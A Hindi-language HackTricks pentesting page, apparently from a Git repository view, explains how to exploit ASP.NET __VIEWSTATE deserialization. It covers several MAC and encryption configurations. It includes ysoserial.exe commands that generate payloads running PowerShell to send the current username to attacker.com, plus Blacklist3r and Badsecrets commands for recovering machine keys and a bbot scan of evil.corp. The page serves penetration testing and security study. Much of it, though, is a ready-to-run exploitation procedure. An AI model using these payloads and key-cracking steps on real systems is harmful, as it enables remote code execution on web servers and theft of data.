hacktricks/pentesting-web/deserialization/exploiting-__viewstate-parameter.md

224 lines
26 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# रहस्यों को न जानते हुए \_\_VIEWSTATE का उपयोग करना
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com) प्राप्त करें
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में **शामिल हों** या मुझे **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)** का** **अनुसरण** करें।**
* **अपने हैकिंग ट्रिक्स को** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **में PR जमा करके अपना योगदान दें।**
</details>
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आप **हैकिंग करियर** में रुचि रखते हैं और अहैकेबल को हैक करना चाहते हैं - हम नियुक्ति कर रहे हैं! (_अच्छी पोलिश लिखित और बोली जानी चाहिए_).
{% embed url="https://www.stmcyber.com/careers" %}
## ViewState क्या है
**ViewState** एक विधि है जिसका एएसपी.नेट फ्रेमवर्क डिफ़ॉल्ट रूप से उपयोग करता है वेब पेज के बीच पेज और नियंत्रण मानों को **संरक्षित करने** के लिए। जब पेज के लिए HTML बनाया जाता है, पेज की वर्तमान स्थिति और पोस्टबैक के दौरान रखे जाने वाले मानों को base64-कोड किए गए स्ट्रिंग में संकलित किया जाता है और ViewState छिपे हुए फ़ील्ड या फ़ील्ड में आउटपुट किया जाता है।\
ViewState सूचना के लिए निम्नलिखित गुणों या गुणों का उपयोग किया जा सकता है:
* Base64
* EnableViewStateMac और ViewStateEncryptionMode विशेषता का उपयोग करके परिभाषित किया जा सकता है
* Base64 + MAC (संदेश प्रमाणिकरण कोड) सक्षम
* EnableViewStateMac विशेषता का उपयोग करके परिभाषित किया जा सकता है
* Base64 + एन्क्रिप्टेड
* viewStateEncryptionMode विशेषता का उपयोग करके परिभाषित किया जा सकता है
## **परीक्षण मामले**
![](<../../.gitbook/assets/image (309) (2).png>)
### परीक्षण मामला: 1 EnableViewStateMac=false और viewStateEncryptionMode=false
यह भी संभव है कि `AspNetEnforceViewStateMac` रजिस्ट्री कुंजी को शून्य पर सेट करके ViewStateMAC को पूरी तरह से अक्षम किया जाए:
```
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
```
**ViewState गुणों की पहचान**
आप ViewState को MAC से सुरक्षित होने की पहचान करने के लिए इस पैरामीटर को समेत करने वाला एक अनुरोध को BurpSuite के साथ कैप्चर करके पहचानने का प्रयास कर सकते हैं:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/1.0.png)
यदि Mac पैरामीटर को सुरक्षित करने के लिए उपयोग नहीं किया जाता है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) का उपयोग करके इसे शोषण कर सकते हैं।
```
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
```
### परीक्षण मामला 1.5 - परीक्षण मामला 1 की तरह, ViewState कुकी सर्वर द्वारा नहीं भेजी जाती है
डेवलपर ViewState को एक HTTP अनुरोध का हिस्सा नहीं बनाने के लिए हटा सकते हैं (उपयोगकर्ता को यह कुकी प्राप्त नहीं होगी)।\
हम मान सकते हैं कि यदि ViewState मौजूद नहीं है, तो उनका अमलन किया गया है ViewState डेसीरियलाइज़ेशन के संबंध में किसी भी संभावित सुरक्षा खतरे से सुरक्षित है।\
हालांकि, ऐसा नहीं है। यदि हम अनुरोध बॉडी में ViewState पैरामीटर जोड़ते हैं और ysoserial का उपयोग करके बनाए गए हमारे सीरीकलाइज़ किए गए पेलोड को भेजते हैं, तो हम फिर भी कोड का निष्पादन कर सकते हैं जैसा कि मामला 1 में दिखाया गया है।
### परीक्षण मामला: 2 - .Net < 4.5 और EnableViewStateMac=true & ViewStateEncryptionMode=false
एक विशेष पृष्ठ के लिए ViewState MAC सक्षम करने के लिए हमें निम्नलिखित परिवर्तनों को करने की आवश्यकता होती है:
```bash
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
```
हम इसे **समग्र** अनुप्रयोग के लिए भी कर सकते हैं, इसे निम्नलिखित रूप में **web.config** फ़ाइल पर सेट करके:
```markup
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<customErrors mode="Off" />
<machineKey validation="SHA1" validationKey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45" />
<pages enableViewStateMac="true" />
</system.web>
</configuration>
```
इस बार पैरामीटर MAC सुरक्षित है, इसलिए हमें हमला सफलतापूर्वक करने के लिए पहले उपयोग किया गया कुंजी की आवश्यकता होगी। इस मामले में, BurpSuite हमें बताएगा कि पैरामीटर MAC सुरक्षित है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.0.png)
आप [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का उपयोग करके उपयोग की गई कुंजी को खोजने का प्रयास कर सकते हैं।
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0MDUxMg9kFgICAw8WAh4HZW5jdHlwZQUTbXVsdGlwYXJ0L2Zvcm0tZGF0YWRkbdrqZ4p5EfFa9GPqKfSQRGANwLs= --decrypt --purpose=viewstate --modifier=6811C9FF --macdecode --TargetPagePath "/Savings-and-Investments/Application/ContactDetails.aspx" -f out.txt --IISDirPath="/"
--encrypteddata : __VIEWSTATE parameter value of the target application
--modifier : __VIWESTATEGENERATOR parameter value
```
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/2.1.png)
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) एक और उपकरण है जो ज्ञात मशीन कुंजी की पहचान कर सकता है। यह Python में लिखा गया है, इसलिए Blacklist3r की तरह यह Windows पर निर्भरता नहीं है। .NET viewstates के लिए, एक "python blacklist3r" उपयोग करने का सबसे तेज़ तरीका है।
इसे या तो viewstate और जेनरेटर के साथ सीधे प्रदान किया जा सकता है:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
```
![](https://user-images.githubusercontent.com/24899338/227034640-662b6aad-f8b9-49e4-9a6b-62a5f6ae2d60.png)
या फिर, यह सीधे लक्षित URL से कनेक्ट कर सकता है और HTML से व्यूस्टेट को निकालने का प्रयास कर सकता है:
```
pip install badsecrets
git clone https://github.com/blacklanternsecurity/badsecrets
cd badsecrets
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
```
![](https://user-images.githubusercontent.com/24899338/227034654-e8ad9648-6c0e-47cb-a873-bf97623a0089.png)
व्यापक स्तर पर खोज करने के लिए, उपडोमेन गणना के साथ, `badsecrets` [**BBOT**](exploiting-\_\_viewstate-parameter.md) मॉड्यूल का उपयोग किया जा सकता है:
```
bbot -f subdomain-enum -m badsecrets -t evil.corp
```
![](https://user-images.githubusercontent.com/24899338/227028780-950d067a-4a01-481f-8e11-41fabed1943a.png)
यदि आप भाग्यशाली हैं और कुंजी मिल जाती है, तो आप [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:** का उपयोग करके हमला कर सकते हैं।
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
--generator = {__VIWESTATEGENERATOR parameter value}
```
जब सर्वर द्वारा `_VIEWSTATEGENERATOR` पैरामीटर **नहीं भेजा जाता है**, तब आपको `--generator` पैरामीटर **प्रदान करने की आवश्यकता नहीं होती है लेकिन ये**:
```bash
--apppath="/" --path="/hello.aspx"
```
### परीक्षण मामला: 3 - .Net < 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true
इस मामले में, Burp नहीं पता लगाता है कि क्या पैरामीटर MAC के साथ सुरक्षित है क्योंकि यह मान्यता नहीं देता है। फिर, संभावित रूप से मान लिया जाता है कि मान एन्क्रिप्ट है और आपको इस सुरक्षा कमजोरी का उपयोग करने के लिए अपने पेलोड को एन्क्रिप्ट करने के लिए **मशीन कुंजी की आवश्यकता होगी**
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.0.png)
**इस मामले में** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **मॉड्यूल विकास के अधीन है...**
**.NET 4.5 से पहले**, ASP.NET **अपेक्षा कर सकता है** कि उपयोगकर्ताओं से एक **अनएन्क्रिप्टेड** \_`__VIEWSTATE`\_पैरामीटर स्वीकार करें **यदि** **`ViewStateEncryptionMode`** को _**हमेशा**_ सेट किया गया है। ASP.NET **केवल** अनुरोध में **`__VIEWSTATEENCRYPTED`** पैरामीटर की **उपस्थिति** की जांच करता है। **यदि कोई इस पैरामीटर को हटा देता है और अनएन्क्रिप्टेड पेलोड भेजता है, तो यह फिर भी प्रोसेस होगा।**
इसलिए, यदि मशीन कुंजी ज्ञात होती है (उदाहरण के लिए, एक निर्देशिका ट्रावर्सल मुद्दे के माध्यम से), [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) कमांड का उपयोग ViewState डेसीरियलाइज़ेशन सुरक्षा का उपयोग करके RCE करने के लिए किया जा सकता है।
* ViewState डेसीरियलाइज़ेशन सुरक्षा का शोध करने के लिए अनुरोध में `__VIEWSTATEENCRYPTED` पैरामीटर को हटा दें, अन्यथा यह एक Viewstate MAC मान्यता त्रुटि लौटाएगा और शोध विफल हो जाएगा जैसा कि चित्र में दिखाया गया है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/3.1.png)
### परीक्षण मामला: 4 - .Net >= 4.5 और EnableViewStateMac=true/false और ViewStateEncryptionMode=true/false दोनों विशेषता को false करें
हम नीचे दिए गए पैरामीटर का उपयोग करके ASP.NET फ्रेमवर्क का उपयोग करने को मजबूर कर सकते हैं जैसा कि नीचे दिखाया गया है।
```markup
<httpRuntime targetFramework="4.5" />
```
वैकल्पिक रूप से, इसे वेब.कॉन्फ़िगफ़ाइल के `machineKey` पैरामीटर के अंदर नीचे दिए गए विकल्प को निर्दिष्ट करके किया जा सकता है।
```bash
compatibilityMode="Framework45"
```
जैसा कि पिछले मामले में था, बर्प नहीं पहचानता कि क्या अनुरोध MAC सुरक्षित है क्योंकि **मान्यता एन्क्रिप्टेड होती है।** इसलिए, एक **मान्य पेलोड भेजने के लिए हमलावर को कुंजी की आवश्यकता होती है।**
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.0.png)
आप [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) का उपयोग करके उपयोग हो रही कुंजी को खोजने का प्रयास कर सकते हैं:
```
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
--encrypteddata = {__VIEWSTATE parameter value}
--IISDirPath = {Directory path of website in IIS}
--TargetPagePath = {Target page path in application}
```
आईआईएसडीआरपाठ और टार्गेटपेजपाठ के लिए अधिक विस्तृत विवरण के लिए [यहां देखें](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.1.png)
या, [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) के साथ (जेनरेटर मान के साथ):
```
cd badsecrets
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
```
![](https://user-images.githubusercontent.com/24899338/227043316-13f0488f-5326-46cc-9604-404b908ebd7b.png)
एक वैध मशीन कुंजी की पहचान करने के बाद, **अगला कदम है** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) **का उपयोग करके एक सीरीकृत पेलोड उत्पन्न करना।**
```
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
```
यदि आपके पास `__VIEWSTATEGENERATOR` का मान है, तो आप उस मान के साथ `--generator` पैरामीटर का उपयोग करने की कोशिश कर सकते हैं और `--path` और `--apppath` पैरामीटर को छोड़ सकते हैं।
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/4.2.png)
यदि ViewState डेसीरियलाइज़ेशन कमजोरी सफलतापूर्वक उपयोगिता कर रही है, तो हमलावार नियंत्रित सर्वर को उपयोगकर्ता नाम समेत एक आउट ऑफ बैंड अनुरोध प्राप्त होगा। [सफल उपयोग का PoC](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)
### परीक्षण मामला 6 - ViewStateUserKeys का उपयोग हो रहा है
**ViewStateUserKey** गुणक का उपयोग **CSRF हमले** के खिलाफ सुरक्षा के लिए किया जा सकता है। यदि ऐसी कुंजी को एप्लिकेशन में परिभाषित किया गया है और हम उपरोक्त विधियों के साथ ViewState पेलोड उत्पन्न करने की कोशिश करते हैं, तो पेलोड एप्लिकेशन द्वारा प्रसंस्कृत नहीं किया जाएगा।\
आपको सही ढंग से पेलोड बनाने के लिए एक और पैरामीटर का उपयोग करना होगा:
```bash
--viewstateuserkey="randomstringdefinedintheserver"
```
### सफल शोध का परिणाम <a href="#poc" id="poc"></a>
सभी परीक्षण मामलों के लिए, यदि ViewState YSoSerial.Net पेलोड सफलतापूर्वक काम करता है तो सर्वर "500 आंतरिक सर्वर त्रुटि" के साथ प्रतिक्रिया देता है जिसमें प्रतिक्रिया सामग्री "यह पृष्ठ के लिए राज्य सूचना अमान्य है और यह क्षतिग्रस्त हो सकती है" होती है और हमें आउट ऑफ बैंड अनुरोध प्राप्त होता है जैसा कि नीचे दिखाया गया है:
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.0POC-of-Seccuessful-exploitation.png)
वर्तमान उपयोगकर्ता नाम के साथ आउट ऑफ बैंड अनुरोध
![](https://notsosecure.com/sites/all/assets/group/nss\_uploads/2019/06/5.1POC-of-Seccuessful-exploitation.png)
## संदर्भ
* [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
* [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)\\
* [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
* [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
यदि आपको **हैकिंग करियर** में रुचि है और अहैकेबल को हैक करना चाहते हैं - **हम भर्ती कर रहे हैं!** (_अच्छी पोलिश लिखने और बोलने की जानकारी आवश्यक_).
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने की आवश्यकता** है? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) की जांच करें!
* खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT**](https://opensea.io/collection/the-peass-family) संग्रह
* प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **अपने हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **और** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **को।**
</details>